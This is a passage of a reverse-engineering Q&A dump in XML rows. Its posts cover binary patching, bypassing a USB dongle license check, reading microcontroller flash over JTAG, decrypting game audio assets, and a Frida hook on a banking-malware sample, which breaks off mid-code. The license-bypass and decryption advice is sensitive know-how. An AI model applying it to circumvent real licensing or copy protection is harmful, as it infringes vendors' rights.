  <row Id="16527" PostTypeId="2" ParentId="16526" CreationDate="2017-10-11T05:25:55.253" Score="8" Body="&lt;p&gt;The problem is: &lt;strong&gt;you are smashing the stack&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets look at the function you want to patch:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FKm0H.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FKm0H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, it pushes four parameters to the stack and calls USER32!MessageBoxA. A quick look at its &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms645505(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;documentation&lt;/a&gt; shows us, it expects four parameters and utilizes the standard WINAPI calling convention (also known as &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/zxk0tw93(v=vs.110).aspx&quot; rel=&quot;noreferrer&quot;&gt;__stdcall&lt;/a&gt;). One thing in its description is crucial to this case:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the callee cleans the stack&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(You can also see the function does no cleanup itself, otherwise we could expect something like &lt;code&gt;add esp, 16&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means if we NOP-out the call, we have to NOP-out the function setup as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n6vbv.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n6vbv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-10-11T05:25:55.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16528" PostTypeId="1" AcceptedAnswerId="16529" CreationDate="2017-10-11T05:54:03.457" Score="1" ViewCount="4797" Body="&lt;p&gt;I'm trying to bypass the license validation process of a very old program called COSIMIR. It uses a USB dongle (which we have) however I don't have access to it, because it belongs to my university. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there is a student version of COSIMIR, the problem is that it isn't compatible with anything we do in the other one, so I copied every file of the Industrial version into my lap and got the installation fixed with olly (because many things where missing). I had to do this because the person who installed this software (and therefore the one with the installer) doesn't work there anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After fixing it up, and being able to execute it from start to end I finally got into the activation failure screen, the problem is, I don't know where to start. I mean, which &lt;code&gt;.dll&lt;/code&gt; is used to initialize the dongle? My plan was to avoid its init, and see if I can jump my way though without creating an exception, is my first crack with a dongle, so I don't know if it's the right way to go. Also this is the screen I get popped into:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/58Qwu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/58Qwu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after seeing it, I started wondering if it would be easier to try to bypass one of the other 2 methods, by the way I'm like 80% sure it just uses the dongle for the license.&#xA;Also, I'm almost sure it uses a Marx Dongle, since the one we have attached in the back of the computer we have licensed looks exactly like this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MXhcf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MXhcf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the one the installation guide of COSIMIR indicates, looks completely different.&#xA;Also, even though I cannot detach that dongle (because it is secured to the PC mainly because somehow the PC will stop working is we disconnect it, I still can do some fast debugging commands in there lie a run trace or stuff like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep things short, my main question is: Which library should I put my breakpoint on if I want to avoid the USB access? my main suspects are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;COMCTL&lt;/li&gt;&#xA;&lt;li&gt;COMBASE&lt;/li&gt;&#xA;&lt;li&gt;UCRTBASE&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and my secondary suspects are&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CRYPTBASE&lt;/li&gt;&#xA;&lt;li&gt;BCRYPT&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, I'm going to try to reach the Company by mail as Nordwald suggests, but even if I get a positive response, I would enjoy the help, for learning purposes.&lt;/p&gt;&#xA;" OwnerUserId="21912" LastEditorUserId="245" LastEditDate="2018-11-22T08:53:47.233" LastActivityDate="2022-01-25T22:30:07.543" Title="Where should I put my breakpoint? (USB dongle protected software, probably marx)" Tags="|debugging|usb|dongle|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16529" PostTypeId="2" ParentId="16528" CreationDate="2017-10-11T06:08:59.853" Score="2" Body="&lt;p&gt;Reverse Engineering has always been about finding the right place to start. There are two common options here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Prevent activation checks&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;For activation purposes, its most likely the best way to search for references to a string related to activation. In this particular case, I would use a decent decompiler like BinaryNinja, IDA or radare2 to find references to&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Please attack an appropriate license connector or license server&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This will most likely lead you to the place this window is initialized. Go back from there looking at the conditions checked before invoking the window creation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Make activation succeed, when it fails&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This one is a little bit more tricky, because most likely you will have to patch at serveral places. Try to run any kind of activation, wait until you get an error message (e.g. 'no activation dongle attacked'), find references to this string and start going backwards from there. Most likely you will find a check if the USB dongle is attached. Patch it and continue from there. Could be pretty tedious.&lt;/p&gt;&#xA;&lt;p&gt;also:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Don't crack software. Any information stated above is purely&#xA;educational.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can always try to contact the company:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Adresse: Am Hausbruch 7, 58239 Schwerte&lt;/p&gt;&#xA;&lt;p&gt;Telefon: 02304 44447&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-10-11T06:08:59.853" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16530" PostTypeId="2" ParentId="16528" CreationDate="2017-10-11T08:07:35.007" Score="0" Body="&lt;p&gt;USB keys used for software protection are often not that easy to bypass, and the techniques described in the other answer will likely not work. Depending on the implementation, USB key may be used for one of the following purposes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Performing cryptographic calculations, such as RSA/AES. License key is sent to the stick and the response is validated by software. In this case, you can just patch out all the checks but then again, it's unlikely the stick is used just for that;&lt;/li&gt;&#xA;&lt;li&gt;Storing some crucial data in encrypted form. Data is decrypted by using license key and sent to the host;&lt;/li&gt;&#xA;&lt;li&gt;Storing some critical code paths, same as previous except the program literally cannot be executed without decrypting and downloading these code fragments;&lt;/li&gt;&#xA;&lt;li&gt;Executing parts of the code &lt;em&gt;on the stick itself&lt;/em&gt;. The program offloads some of its operations to the stick.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, it all boils down to the implementation. In some cases, the missing code/data can be reimplemented in the host software, and that requires additional RE effort.&lt;/p&gt;&#xA;" OwnerUserId="13606" LastActivityDate="2017-10-11T08:07:35.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16531" PostTypeId="1" CreationDate="2017-10-11T12:00:13.723" Score="0" ViewCount="557" Body="&lt;p&gt;I'm using MPC5606B and I would like to know what kind of issues I would have, concerning protection\encryption  if I tried to read its flash content by JTAG using an external device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to read the MPC's flash content using a tool (UPA) and a PC, however, I want to do it by my own, using my own embedded hardware without the PC's tool. So, I studied about JTAG standard( JTAG_IEEE-Std-1149.1-2001 ), and about TAP controller state diagram. In order to better understand the JTAG reading, I Used the PC's tool to read the MCP's flash and an osciloscope to see how the communication is performed between the tool and MCP5606B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could see that it enters in the TAP controller state machine, The tool writes IR ( 0b00011 )and after that reads DR ( 0x2AE4301D ) and there is a lot of more communication that I didn't recognize yet, but, I know that, according to this &lt;a href=&quot;https://www.nxp.com/docs/en/application-note/AN4477.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;document&lt;/a&gt; in section 4.4 page 10, the readed value 0x2AE4301D is the IDCODE of JTAG's MCP5606BF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After to study Chapter five of MPC5606's reference manual, I expected that the tool would send a 64-bits password, but I didn't found it in communication yet ( the time of communication is too big, almost 10s ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was wondering, how is performed the reading of the flash memory content, and how it is related to Censorship at bootloader? &lt;/p&gt;&#xA;" OwnerUserId="21835" LastActivityDate="2017-10-11T15:32:02.433" Title="Flash reading by JTAG in MPC5606B" Tags="|jtag|flash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16532" PostTypeId="2" ParentId="16087" CreationDate="2017-10-11T13:01:10.360" Score="0" Body="&lt;p&gt;The malware was partly downloaded before the SEP client stop the attempt. That's why it gave no results.&#xA;Thank you for your help tho.&lt;/p&gt;&#xA;" OwnerUserId="21238" LastActivityDate="2017-10-11T13:01:10.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16533" PostTypeId="2" ParentId="16531" CreationDate="2017-10-11T15:32:02.433" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;After to study Chapter five of MPC5606's reference manual, I expected&#xA;  that the tool would send a 64-bits password, but I didn't found it in&#xA;  communication yet ( the time of communication is too big, almost 10s&#xA;  ).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since we don't have your log, we can't tell if the password is present. Quite possibly your specific device does not have security option enabled or there is  some way around it (e.g. the default password). In any case, you'll likely need to decode the whole log first to make any further assumptions. (John Doe &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/16479/60&quot;&gt;made some suggestions&lt;/a&gt; on how to do it)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So I was wondering, how is performed the reading of the flash memory&#xA;  content, and how it is related to Censorship at bootloader?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Same answer; decode the communication to see how it's performed. I made some hypotheses in &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/16478/60&quot;&gt;my previous answer&lt;/a&gt;, but only by examining  the actual process you can know for sure how it works (unless you have documentation, which does not seem to be available here).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-10-11T15:32:02.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16534" PostTypeId="1" CreationDate="2017-10-11T18:32:42.743" Score="2" ViewCount="1290" Body="&lt;p&gt;Super Mario Run is a &lt;em&gt;il2cpp&lt;/em&gt; Unity game. Most of its assets are downloaded in-game through http requests. I particularly want the OGG files of the music. I can see the list of their names comes from this &lt;a href=&quot;https://download-cdn-supermariorun.akamaized.net/native/e07e1191b490a31c/3.0.1/raw/RawSound/DeALProject.json&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this because it appears before all the requests of the OGGs are made, sadly it and the OGGs are &lt;a href=&quot;https://download-cdn-supermariorun.akamaized.net/native/e07e1191b490a31c/3.0.1/raw/RawSound/sound/BGM/Athletic_RB_32.ogg&quot; rel=&quot;nofollow noreferrer&quot;&gt;encrypted&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Super Mario Run is an &lt;em&gt;il2cpp&lt;/em&gt; game, the strings and function names and whatnot are contained in a different file -- &quot;&lt;em&gt;global-metadata.dat&lt;/em&gt;&quot;. Looking at this file I can see a function named &lt;code&gt;get_OggEncryptionAesKey&lt;/code&gt;, as for where this function is and what it returns I cannot find out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I disassembled the &quot;&lt;em&gt;libil2cpp.so&lt;/em&gt;&quot; with IDA, but did not seem to find this function or anything useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that the libraries that deal with the encryption might be &quot;&lt;em&gt;libdeal.so&lt;/em&gt;&quot; or &quot;&lt;em&gt;libDeALWrapper.so&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Closest I've came was pulling the ogg's from memory, but the best I got was some interface sounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any other ideas to decrypt these files?&lt;/p&gt;&#xA;" OwnerUserId="21918" LastEditorUserId="18698" LastEditDate="2017-10-11T18:47:54.260" LastActivityDate="2017-10-11T18:47:54.260" Title="Obtaining the decryption keys for Super Mario Run (Android/iOS Game)" Tags="|ida|encryption|decryption|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16535" PostTypeId="2" ParentId="2703" CreationDate="2017-10-12T05:22:35.817" Score="1" Body="&lt;p&gt;Okay!!!...so need to follow this much steps for decompilation and no need to download dex2jar and follow this much steps....here's one simple soultion..&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.decompiler.com/jar/07e53b681fff4e9cb3e734353adc7307/com.ednamos.bluetoothlive.apk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.decompiler.com/jar/07e53b681fff4e9cb3e734353adc7307/com.ednamos.bluetoothlive.apk&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;just go through this link and upload your apk file...it will convert your apk file into whole project..and you can download that project in zip format directly .....&#xA;so simple!..Happy coding!!&lt;/p&gt;&#xA;" OwnerUserId="21917" LastEditorUserId="34452" LastEditDate="2021-12-06T05:16:52.673" LastActivityDate="2021-12-06T05:16:52.673" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="16536" PostTypeId="2" ParentId="16489" CreationDate="2017-10-12T13:14:17.063" Score="2" Body="&lt;p&gt;you might try &lt;a href=&quot;https://github.com/airbus-seclab/cpu_rec/&quot; rel=&quot;nofollow noreferrer&quot;&gt;cpu_rec&lt;/a&gt;, it claims to be able to identify a wide variety of architectures by analyzing the raw binary data.&lt;br&gt;&#xA;According to &lt;a href=&quot;https://github.com/airbus-seclab/cpu_rec/blob/master/README.md#known-architectures-in-the-default-corpus&quot; rel=&quot;nofollow noreferrer&quot;&gt;cpu_rec github repository&lt;/a&gt; : Known architectures in the default corpus&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Freescale_68HC08&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;68HC08&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Freescale_68HC11&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;68HC11&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Intel_MCS-51&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;8051&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/DEC_Alpha&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Alpha&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/ARC_(processor)&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ARcompact&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/ARM_architecture&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ARM64&lt;/code&gt; &lt;code&gt;ARMeb&lt;/code&gt; &lt;code&gt;ARMel&lt;/code&gt; &lt;code&gt;ARMhf&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Atmel_AVR&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;AVR&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/ETRAX_CRIS&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;AxisCris&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Blackfin&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Blackfin&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Cell_(microprocessor)&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Cell-SPU&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Clipper_architecture&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;CLIPPER&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/CompactRISC&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;CompactRISC&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Cray&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Cray&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Adapteva&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Epiphany&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/FR-V_(microprocessor)&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;FR-V&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.fujitsu.com/downloads/MICRO/fma/pdfmcu/hm91101-cm71-10102-2e.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;FR30&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/FTDI&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;FT32&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/H8_Family&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;H8-300&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/HP_FOCUS&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;HP-Focus&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/PA-RISC&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;HP-PA&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Intel_i860&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;i860&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/IA-64&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;IA-64&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.ic72.com/pdf_file/v/165699.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;IQ2000&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.renesas.com/en-eu/products/microcontrollers-microprocessors/m16c.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;M32C&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.renesas.com/en-eu/products/microcontrollers-microprocessors/m32r.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;M32R&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Motorola_68000_series&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;M68k&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Motorola_88000&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;M88k&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/M%C2%B7CORE&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MCore&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/LatticeMico32&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Mico32&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/MicroBlaze&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MicroBlaze&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/MIPS_instruction_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MIPS16&lt;/code&gt; &lt;code&gt;MIPSeb&lt;/code&gt; &lt;code&gt;MIPSel&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/MMIX&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MMIX&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/MN103&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MN10300&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;http://moxielogic.org/blog/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Moxie&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/TI_MSP430&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MSP430&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;http://osdk.andestech.com/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;NDS32&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Nios_II&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;NIOS-II&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/OCaml&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;OCaml&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/PDP-11&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;PDP-11&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/PIC_microcontroller&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;PIC10&lt;/code&gt; &lt;code&gt;PIC16&lt;/code&gt; &lt;code&gt;PIC18&lt;/code&gt; &lt;code&gt;PIC24&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/PowerPC&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;PPCeb&lt;/code&gt; &lt;code&gt;PPCel&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/RISC-V&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;RISC-V&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.renesas.com/en-eu/products/microcontrollers-microprocessors/rl78.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;RL78&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/ROMP&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ROMP&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.renesas.com/en-eu/products/microcontrollers-microprocessors/rx.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;RX&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/IBM_System/390_ES/9000_Enterprise_Systems_Architecture_ESA_family&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;S-390&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/SPARC&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;SPARC&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/STM8&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;STM8&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://sourceware.org/cgen/gen-doc/xstormy16.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Stormy16&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/SuperH&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;SuperH&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/TILEPro64&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;TILEPro&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Toshiba_TLCS#90&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;TLCS-90&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Texas_Instruments_TMS320&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;TMS320C2x&lt;/code&gt; &lt;code&gt;TMS320C6x&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/V850&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;V850&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/VAX&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;VAX&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.slideshare.net/AdaCore/controls-and-dataservices&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Visium&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Bellmac_32&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;WE32000&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/X86-64&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;X86-64&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/X86&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;X86&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Tensilica&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Xtensa&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Zilog_Z80&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Z80&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/cc65/cc65&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;#6502#cc65&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12693" LastActivityDate="2017-10-12T13:14:17.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16537" PostTypeId="1" CreationDate="2017-10-12T14:10:13.367" Score="1" ViewCount="1904" Body="&lt;p&gt;I have a re-occuring issue with Frida (I'm using Frida and Frida-Server for Android x86_64 ver.: 10.6.11), where I try to hook a function and override its functionality, but for some reason I get stuck and the JS code (or Frida, who knows at this point?) just doesn't seem to catch the function that I really need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My latest attempt was on the following Android sample (#Bankbot):&#xA;&lt;a href=&quot;https://koodous.com/apks/6276f23997fff26938b08323322c8ae77b9070ac81851f757c16928f86092f20&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://koodous.com/apks/6276f23997fff26938b08323322c8ae77b9070ac81851f757c16928f86092f20&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, this piece of Malware has emulator detection built into it. The following code static methods are responsible for detecting the Android Emulator (which I'm using with Frida): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // keitev.ebaziueggzxt.q&#xA;    public class q {&#xA;    // ....&#xA;        // detects 